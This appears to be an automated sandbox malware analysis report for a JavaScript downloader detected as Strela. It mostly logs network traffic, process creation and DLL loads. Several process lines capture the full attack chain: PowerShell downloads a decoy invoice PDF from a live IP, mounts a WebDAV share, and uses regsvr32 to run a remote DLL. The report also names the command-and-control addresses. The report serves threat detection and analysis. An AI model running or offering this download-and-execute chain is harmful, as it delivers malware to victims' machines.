20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.2132399274.000001FFC3089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2202574754.00000210C49B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2202574754.00000210C4A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2202574754.00000210C49B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/453
Source: net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: svchost.exe, 00000009.00000002.3416331987.0000027773000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2201958449.0000027772EF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3744, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16267239851350230287.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eubyqutq.g24.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 16267239851350230287.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1360,i,14895940516282795769,6057980195024621090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1360,i,14895940516282795769,6057980195024621090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
